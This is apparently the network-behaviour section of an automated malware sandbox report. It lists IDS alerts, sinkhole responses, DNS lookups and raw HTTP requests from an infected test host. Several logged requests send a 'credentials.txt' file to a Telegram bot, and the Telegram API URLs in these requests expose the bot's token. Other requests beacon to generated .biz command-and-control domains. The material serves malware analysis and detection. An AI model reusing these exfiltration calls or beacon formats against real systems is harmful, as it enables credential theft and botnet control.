Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 199.21.76.81:80 -> 192.168.2.3:49736
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 107.6.74.76:80 -> 192.168.2.3:49739
Source: Traffic Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.3:49745
Source: Traffic Snort IDS: 2850851 ETPRO TROJAN Win32/Expiro.NDO CnC Activity 192.168.2.3:49759 -> 199.21.76.77:80
Source: global traffic HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Sun, 16 Apr 2023 16:51:23 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Sun, 16 Apr 2023 16:51:25 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Sun, 16 Apr 2023 16:53:41 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: global traffic HTTP traffic detected: HTTP/1.1 204 No ContentServer: nginxDate: Sun, 16 Apr 2023 16:54:01 GMTConnection: keep-aliveX-Sinkhole: Malware
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS traffic detected: English language letter frequency does not match the domain names
Source: Joe Sandbox View JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: global traffic HTTP traffic detected: POST /bot5797428905:AAGaRRXGZN1d9GGFd3sE5x4uSpCGF0PU4m4/sendMessage HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 181Host: api.telegram.org
Source: global traffic HTTP traffic detected: POST /bot5797428905:AAGaRRXGZN1d9GGFd3sE5x4uSpCGF0PU4m4/sendDocument?chat_id=1251788325&caption=credentials.txt:::computer\user HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 201Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /audrgju HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /okvrkao HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /ryd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /lwewefmg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /lwewefmg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850Data Raw: 1b 3f bb 3e c1 3e 26 05 46 03 00 00 ac cc 28 3d 2b 61 43 fa e2 e4 1b 00 dc f6 81 a6 0b 07 0f 09 85 2c 30 48 a4 d6 cc a7 f8 7d 6b b9 79 26 11 5a 6a e9 c3 c9 1d 2c 73 b7 1d 5e 61 e9 ca 6d ec 8c 4c f3 d4 0d 9e ee 8b 0b 5f c4 1f ed 8b ac 2d d8 1c 9c a3 c0 fc 30 58 ad 78 9a a6 83 ca 63 b2 68 3c 27 e5 f9 e1 ad e6 fd ac 18 e4 98 55 a2 12 36 30 55 61 86 9a d6 ba 3b ac 56 d9 7f 08 60 0a 35 1f e0 61 01 ab 12 a4 50 dd 30 b5 ea aa 29 b0 06 7b d1 e3 6c d9 1c 77 b1 3c 7d af db 6d c0 60 3c 5c b8 74 64 17 77 21 4b a4 8e 51 4e 99 7f 5a c2 18 ab f4 c8 7d 3d de e2 87 a6 4b 1d d3 8c 1b e4 3e 94 1c 34 ef 85 95 2d f5 39 b1 a7 0f df a4 ee 1b 2c fb 93 40 66 33 19 77 73 ec 3c 39 a4 c0 2d 3d 4f ff 5d 36 00 02 f3 1a a8 5c f7 72 f4 8b 5c 15 ff 6e f3 47 63 fb 73 f9 37 97 d4 2b 50 de 0a a1 07 6d 71 7e 41 b0 a6 cc b8 e4 ea d8 e4 75 8e 06 7c 9a 1d 35 8f b5 db c5 9d ea bf 66 7b bd e6 5b 08 44 04 e6 be b3 e2 17 07 32 32 fc 57 10 27 50 bc 4c 35 58 b8 4e ad b4 0a 02 c6 98 fc 95 1c bb 10 41 2d 28 2f 39 c0 c8 88 c0 6c e9 fe 9b 65 46 06 d7 23 b6 11 fc a2 02 27 2a 7b d6 52 cb 3c 61 86 4c 96 08 28 f9 63 cb 4d 3e 18 81 78 30 b4 7a 37 c5 dd 41 62 6a c1 d8 a9 83 ac d7 6b 96 17 79 34 b2 f7 db bc b6 ef 79 26 47 ba 7a 2c 5b 32 66 47 63 2a 95 7f 82 f6 d9 e6 6b c1 64 cc e6 30 32 fd f4 8a 34 d3 80 b1 d6 27 53 49 c5 21 14 c6 03 2d e6 4c 6d 3f 4a ea fa e0 60 bf f0 93 b1 d9 52 36 14 bc c7 c1 b9 f4 eb d8 2f 28 fa 8d be a5 1b 29 3b 72 18 dc cc b8 b1 29 9f aa 9c 59 17 69 f9 c1 f7 45 b5 63 ae 54 36 f4 ec b1 55 93 01 e9 c6 02 4a db a1 c2 d6 9d a2 8b a8 24 5b 02 51 fb f5 34 dd c3 ee 64 c4 57 ba dc 81 15 50 10 b0 cc 80 3d fe 11 23 3f d0 a8 c2 7b 35 40 2c 94 f0 3a 6b 8b 05 ce 9d 34 c7 ba e1 92 d2 82 a5 7d ec 39 22 48 5f 94 0f f6 1c 51 c3 f5 d6 1d 8c 37 4e 88 e8 5c da c4 f7 69 84 21 8a 6c 8e f9 40 ed d2 8b 84 64 3b fd 4b b0 b0 e3 89 cc 44 7d 34 70 cc 08 78 f9 8e 9d 8e 07 1c 1c 63 f4 bc a9 d6 95 9c 02 d5 e6 46 0a 65 28 ce 14 ff 4a 4b ec ea 67 fc 32 35 00 bb 76 88 dd 95 20 9d 36 dd f4 a9 38 14 5c 6b e9 3a 90 27 15 f0 8a 0c ec 7c 02 9b 4e aa da 7a cf e8 67 f9 15 a9 3d 26 cb 33 bd 3b cc 90 d1 fe 6c 21 84 16 e8 e7 c3 53 9a 82 96 a1 a3 01 cf 6f 38 4f 86 46 8c 30 fe 70 0c 4e 0e d3 9a 6b e6 92 03 34 2c 2a fe 28 bb f4 3b c4 43 66 e4 90 24 43 66 ef 02 ef 9d dd d8 34 78 37 70 8c 78 4f 16 cb da 81 c8 6d 27 9d 3a e6 e0 93 1d 9c 4a bf 64 a5 41 27 95 d8 51 82 16 ae d7 a8 c7 1f 48 c3 4a a1 fd 25 8b 8d 88 f9 8a 86 c4 b6 dc 26 c7 db 0e 20 4c ef 74 45 99 97 37 b1 40 76 36 b9 01 8b d5 c8 cf b7 d1 0f 0c a9 58 16 f3 8c 29 b0 f7 08 65 9c 12 ec c0 2d b9 6f 47 f3 c8 7c b8 a2 10 ae 83 e5 f2 Data Ascii: ?>>&F(=+aC,0H}ky&Zj,s^amL_
Source: global traffic HTTP traffic detected: POST /hucoqvcdnaodfu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /exageqkidabh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /xxgbgjxsgtqqi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /hywptgqjjfg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /jg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /jg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850Data Raw: d1 58 6e 1d 6a e5 fc 0f 46 03 00 00 65 e4 35 bd 1f d9 83 e3 14 12 82 e0 a0 be 86 8b 6c 8c d3 00 96 d2 59 b3 ff 3b 65 1a 82 0e 43 aa d2 50 5b 4d 4d 6a c5 d6 cc e3 af a1 c3 ab f8 af c6 3c e3 b5 b2 d5 24 68 b8 86 43 d2 ec e7 50 43 88 0a 11 32 9f ee 76 64 88 d3 71 cc 0d 25 28 15 4d b7 47 e5 04 f0 85 83 ba 60 3a 2a 37 d0 c3 cc e8 b8 a0 72 18 73 83 7e 49 1c 62 92 92 e0 4c 7b 5f 2c b6 37 3e eb b1 46 ea 31 f1 d8 9a 9a bd 2a ff a3 1f ea cb 6e 35 0a f8 ca ec 05 8a 65 46 96 3c ac df b4 7b f4 8c 8d 91 fb ef 6e 0b 39 95 de c4 83 96 af 91 10 43 5c 77 5c a3 4d 6e 0c 00 50 1d 27 cf ba af 9c f0 04 c7 80 3e c4 79 b3 64 70 84 f2 5f 7f e6 b6 d3 af 38 0f ae 72 52 51 26 a2 e8 15 2d 0e 04 e8 f1 37 dd 22 85 9d c2 dd 72 3a 0a 44 de 02 55 19 25 82 52 f9 9c de 2b a5 0c 27 a5 e9 e6 25 52 42 b2 2d 09 26 bd d3 cd 13 15 c4 56 16 5a 16 8d 9c 12 3c 68 be 8b 39 fd 98 b1 7b 73 52 c4 56 bf 8f 9f c7 b7 f7 79 3f 70 28 95 a3 1b 14 67 39 30 76 cf 91 a8 ca 25 ce c0 3e 1a 13 9e cd 96 d1 d1 85 91 e4 84 50 75 ea 77 75 0d 56 8b 85 23 59 26 4a 7c 45 97 6c e6 b9 e5 ec f1 61 9b 14 b8 30 5e 8f ab f2 67 71 36 71 aa fd 0b 9f 2c 7d 23 c2 ea bc 2e 96 78 68 42 8c 5f ee ab 7f 65 51 03 e3 39 8c c5 25 d8 87 84 bc e9 f8 2f b8 28 63 78 ba 43 2c df 01 d7 8d 37 88 27 c6 13 8a d9 3a df a1 a8 7e 34 6f b1 a7 33 f3 af 14 32 41 7b 7c 0a 7b a9 87 37 33 e1 53 a3 7b c5 54 75 23 37 21 a8 f3 c0 20 33 0c ab 98 0c c5 0c 80 a4 68 c7 68 28 d1 23 30 d3 78 70 d3 1d 93 31 98 0f a1 12 91 ab fb 80 9d f5 5c d2 97 3a 79 df 59 43 d6 b9 76 69 c0 db 1e 76 2e a8 c1 e4 82 80 df c2 5a 15 d9 ab 26 60 91 22 13 ba 52 69 85 99 c6 59 ca fb d1 11 f4 d9 d7 ae 73 1f cb c8 2b 49 96 9a a6 a0 2c 45 1d 31 11 30 20 1c ff a4 a4 0c b0 ed d2 43 67 59 f1 e7 49 a1 6f 44 c5 9a ff 2c d8 c6 40 90 bd 5a bf 55 6d 38 ee e5 f9 5a 14 44 61 b5 1f ee 7d b3 4d a9 e8 a0 89 6d 13 0b 9f 03 86 c7 1f 53 37 89 a5 70 5f 6c 26 1e 2b 76 da 2c e5 9d 1f f3 5f 6e 64 27 eb d9 f0 c5 9d da 72 fb 58 17 ef b7 cd 44 ff 75 10 3d 17 39 fd e4 36 10 a8 2d f2 9d 36 ab 25 c5 6d 24 5b d9 39 91 8b 3f a5 39 2c bf 23 43 a9 c9 bc fd 6a 04 11 a7 fd 31 bc 86 06 ec 57 f5 1a 03 eb c4 67 72 bf 03 d0 03 a6 a3 77 b2 80 b1 49 65 af 7e f7 d5 16 84 81 37 08 c8 b8 12 64 fb 66 5a 82 95 19 86 2b 8b 67 b2 22 10 cf e2 e0 72 b6 4c ed a3 53 9c 8c a9 9c 0f ca 7c 75 9f 03 7a 56 0d df 69 17 78 51 f3 bc a8 62 6a a2 e4 d6 10 c2 62 d8 a0 9f d9 d5 91 af 49 69 90 17 6e b2 2d ff 67 03 63 a7 17 c1 0c da 20 48 38 0d f9 30 c7 55 c1 b8 1d 94 88 d6 ee 3b ce e9 82 c1 55 1c 75 81 45 21 8b 65 75 53 d4 6a 53 79 e4 02 40 98 bd d3 d9 45 b1 81 91 92 06 0e 55 73 77 1f c1 37 4c 5c 60 78 Data Ascii: XnjFe5lY;eCP[MMj<$hCPC2
Source: global traffic HTTP traffic detected: POST /jg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850Data Raw: d1 58 6e 1d 6a e5 fc 0f 46 03 00 00 65 e4 35 bd 1f d9 83 e3 14 12 82 e0 a0 be 86 8b 6c 8c d3 00 96 d2 59 b3 ff 3b 65 1a 82 0e 43 aa d2 50 5b 4d 4d 6a c5 d6 cc e3 af a1 c3 ab f8 af c6 3c e3 b5 b2 d5 24 68 b8 86 43 d2 ec e7 50 43 88 0a 11 32 9f ee 76 64 88 d3 71 cc 0d 25 28 15 4d b7 47 e5 04 f0 85 83 ba 60 3a 2a 37 d0 c3 cc e8 b8 a0 72 18 73 83 7e 49 1c 62 92 92 e0 4c 7b 5f 2c b6 37 3e eb b1 46 ea 31 f1 d8 9a 9a bd 2a ff a3 1f ea cb 6e 35 0a f8 ca ec 05 8a 65 46 96 3c ac df b4 7b f4 8c 8d 91 fb ef 6e 0b 39 95 de c4 83 96 af 91 10 43 5c 77 5c a3 4d 6e 0c 00 50 1d 27 cf ba af 9c f0 04 c7 80 3e c4 79 b3 64 70 84 f2 5f 7f e6 b6 d3 af 38 0f ae 72 52 51 26 a2 e8 15 2d 0e 04 e8 f1 37 dd 22 85 9d c2 dd 72 3a 0a 44 de 02 55 19 25 82 52 f9 9c de 2b a5 0c 27 a5 e9 e6 25 52 42 b2 2d 09 26 bd d3 cd 13 15 c4 56 16 5a 16 8d 9c 12 3c 68 be 8b 39 fd 98 b1 7b 73 52 c4 56 bf 8f 9f c7 b7 f7 79 3f 70 28 95 a3 1b 14 67 39 30 76 cf 91 a8 ca 25 ce c0 3e 1a 13 9e cd 96 d1 d1 85 91 e4 84 50 75 ea 77 75 0d 56 8b 85 23 59 26 4a 7c 45 97 6c e6 b9 e5 ec f1 61 9b 14 b8 30 5e 8f ab f2 67 71 36 71 aa fd 0b 9f 2c 7d 23 c2 ea bc 2e 96 78 68 42 8c 5f ee ab 7f 65 51 03 e3 39 8c c5 25 d8 87 84 bc e9 f8 2f b8 28 63 78 ba 43 2c df 01 d7 8d 37 88 27 c6 13 8a d9 3a df a1 a8 7e 34 6f b1 a7 33 f3 af 14 32 41 7b 7c 0a 7b a9 87 37 33 e1 53 a3 7b c5 54 75 23 37 21 a8 f3 c0 20 33 0c ab 98 0c c5 0c 80 a4 68 c7 68 28 d1 23 30 d3 78 70 d3 1d 93 31 98 0f a1 12 91 ab fb 80 9d f5 5c d2 97 3a 79 df 59 43 d6 b9 76 69 c0 db 1e 76 2e a8 c1 e4 82 80 df c2 5a 15 d9 ab 26 60 91 22 13 ba 52 69 85 99 c6 59 ca fb d1 11 f4 d9 d7 ae 73 1f cb c8 2b 49 96 9a a6 a0 2c 45 1d 31 11 30 20 1c ff a4 a4 0c b0 ed d2 43 67 59 f1 e7 49 a1 6f 44 c5 9a ff 2c d8 c6 40 90 bd 5a bf 55 6d 38 ee e5 f9 5a 14 44 61 b5 1f ee 7d b3 4d a9 e8 a0 89 6d 13 0b 9f 03 86 c7 1f 53 37 89 a5 70 5f 6c 26 1e 2b 76 da 2c e5 9d 1f f3 5f 6e 64 27 eb d9 f0 c5 9d da 72 fb 58 17 ef b7 cd 44 ff 75 10 3d 17 39 fd e4 36 10 a8 2d f2 9d 36 ab 25 c5 6d 24 5b d9 39 91 8b 3f a5 39 2c bf 23 43 a9 c9 bc fd 6a 04 11 a7 fd 31 bc 86 06 ec 57 f5 1a 03 eb c4 67 72 bf 03 d0 03 a6 a3 77 b2 80 b1 49 65 af 7e f7 d5 16 84 81 37 08 c8 b8 12 64 fb 66 5a 82 95 19 86 2b 8b 67 b2 22 10 cf e2 e0 72 b6 4c ed a3 53 9c 8c a9 9c 0f ca 7c 75 9f 03 7a 56 0d df 69 17 78 51 f3 bc a8 62 6a a2 e4 d6 10 c2 62 d8 a0 9f d9 d5 91 af 49 69 90 17 6e b2 2d ff 67 03 63 a7 17 c1 0c da 20 48 38 0d f9 30 c7 55 c1 b8 1d 94 88 d6 ee 3b ce e9 82 c1 55 1c 75 81 45 21 8b 65 75 53 d4 6a 53 79 e4 02 40 98 bd d3 d9 45 b1 81 91 92 06 0e 55 73 77 1f c1 37 4c 5c 60 78 Data Ascii: XnjFe5lY;eCP[MMj<$hCPC2
Source: global traffic HTTP traffic detected: POST /jg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850Data Raw: d1 58 6e 1d 6a e5 fc 0f 46 03 00 00 65 e4 35 bd 1f d9 83 e3 14 12 82 e0 a0 be 86 8b 6c 8c d3 00 96 d2 59 b3 ff 3b 65 1a 82 0e 43 aa d2 50 5b 4d 4d 6a c5 d6 cc e3 af a1 c3 ab f8 af c6 3c e3 b5 b2 d5 24 68 b8 86 43 d2 ec e7 50 43 88 0a 11 32 9f ee 76 64 88 d3 71 cc 0d 25 28 15 4d b7 47 e5 04 f0 85 83 ba 60 3a 2a 37 d0 c3 cc e8 b8 a0 72 18 73 83 7e 49 1c 62 92 92 e0 4c 7b 5f 2c b6 37 3e eb b1 46 ea 31 f1 d8 9a 9a bd 2a ff a3 1f ea cb 6e 35 0a f8 ca ec 05 8a 65 46 96 3c ac df b4 7b f4 8c 8d 91 fb ef 6e 0b 39 95 de c4 83 96 af 91 10 43 5c 77 5c a3 4d 6e 0c 00 50 1d 27 cf ba af 9c f0 04 c7 80 3e c4 79 b3 64 70 84 f2 5f 7f e6 b6 d3 af 38 0f ae 72 52 51 26 a2 e8 15 2d 0e 04 e8 f1 37 dd 22 85 9d c2 dd 72 3a 0a 44 de 02 55 19 25 82 52 f9 9c de 2b a5 0c 27 a5 e9 e6 25 52 42 b2 2d 09 26 bd d3 cd 13 15 c4 56 16 5a 16 8d 9c 12 3c 68 be 8b 39 fd 98 b1 7b 73 52 c4 56 bf 8f 9f c7 b7 f7 79 3f 70 28 95 a3 1b 14 67 39 30 76 cf 91 a8 ca 25 ce c0 3e 1a 13 9e cd 96 d1 d1 85 91 e4 84 50 75 ea 77 75 0d 56 8b 85 23 59 26 4a 7c 45 97 6c e6 b9 e5 ec f1 61 9b 14 b8 30 5e 8f ab f2 67 71 36 71 aa fd 0b 9f 2c 7d 23 c2 ea bc 2e 96 78 68 42 8c 5f ee ab 7f 65 51 03 e3 39 8c c5 25 d8 87 84 bc e9 f8 2f b8 28 63 78 ba 43 2c df 01 d7 8d 37 88 27 c6 13 8a d9 3a df a1 a8 7e 34 6f b1 a7 33 f3 af 14 32 41 7b 7c 0a 7b a9 87 37 33 e1 53 a3 7b c5 54 75 23 37 21 a8 f3 c0 20 33 0c ab 98 0c c5 0c 80 a4 68 c7 68 28 d1 23 30 d3 78 70 d3 1d 93 31 98 0f a1 12 91 ab fb 80 9d f5 5c d2 97 3a 79 df 59 43 d6 b9 76 69 c0 db 1e 76 2e a8 c1 e4 82 80 df c2 5a 15 d9 ab 26 60 91 22 13 ba 52 69 85 99 c6 59 ca fb d1 11 f4 d9 d7 ae 73 1f cb c8 2b 49 96 9a a6 a0 2c 45 1d 31 11 30 20 1c ff a4 a4 0c b0 ed d2 43 67 59 f1 e7 49 a1 6f 44 c5 9a ff 2c d8 c6 40 90 bd 5a bf 55 6d 38 ee e5 f9 5a 14 44 61 b5 1f ee 7d b3 4d a9 e8 a0 89 6d 13 0b 9f 03 86 c7 1f 53 37 89 a5 70 5f 6c 26 1e 2b 76 da 2c e5 9d 1f f3 5f 6e 64 27 eb d9 f0 c5 9d da 72 fb 58 17 ef b7 cd 44 ff 75 10 3d 17 39 fd e4 36 10 a8 2d f2 9d 36 ab 25 c5 6d 24 5b d9 39 91 8b 3f a5 39 2c bf 23 43 a9 c9 bc fd 6a 04 11 a7 fd 31 bc 86 06 ec 57 f5 1a 03 eb c4 67 72 bf 03 d0 03 a6 a3 77 b2 80 b1 49 65 af 7e f7 d5 16 84 81 37 08 c8 b8 12 64 fb 66 5a 82 95 19 86 2b 8b 67 b2 22 10 cf e2 e0 72 b6 4c ed a3 53 9c 8c a9 9c 0f ca 7c 75 9f 03 7a 56 0d df 69 17 78 51 f3 bc a8 62 6a a2 e4 d6 10 c2 62 d8 a0 9f d9 d5 91 af 49 69 90 17 6e b2 2d ff 67 03 63 a7 17 c1 0c da 20 48 38 0d f9 30 c7 55 c1 b8 1d 94 88 d6 ee 3b ce e9 82 c1 55 1c 75 81 45 21 8b 65 75 53 d4 6a 53 79 e4 02 40 98 bd d3 d9 45 b1 81 91 92 06 0e 55 73 77 1f c1 37 4c 5c 60 78 Data Ascii: XnjFe5lY;eCP[MMj<$hCPC2
Source: global traffic HTTP traffic detected: POST /teeugfb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /jg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850Data Raw: d1 58 6e 1d 6a e5 fc 0f 46 03 00 00 65 e4 35 bd 1f d9 83 e3 14 12 82 e0 a0 be 86 8b 6c 8c d3 00 96 d2 59 b3 ff 3b 65 1a 82 0e 43 aa d2 50 5b 4d 4d 6a c5 d6 cc e3 af a1 c3 ab f8 af c6 3c e3 b5 b2 d5 24 68 b8 86 43 d2 ec e7 50 43 88 0a 11 32 9f ee 76 64 88 d3 71 cc 0d 25 28 15 4d b7 47 e5 04 f0 85 83 ba 60 3a 2a 37 d0 c3 cc e8 b8 a0 72 18 73 83 7e 49 1c 62 92 92 e0 4c 7b 5f 2c b6 37 3e eb b1 46 ea 31 f1 d8 9a 9a bd 2a ff a3 1f ea cb 6e 35 0a f8 ca ec 05 8a 65 46 96 3c ac df b4 7b f4 8c 8d 91 fb ef 6e 0b 39 95 de c4 83 96 af 91 10 43 5c 77 5c a3 4d 6e 0c 00 50 1d 27 Data Ascii: XnjFe5lY;eCP[MMj<$hCPC2vdq%(MG`:*7rs~IbL{_,7>F1*n5eF<{n9C\w\MnP'
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663898|1681663898|0|1|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663900|1681663898|1|2|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
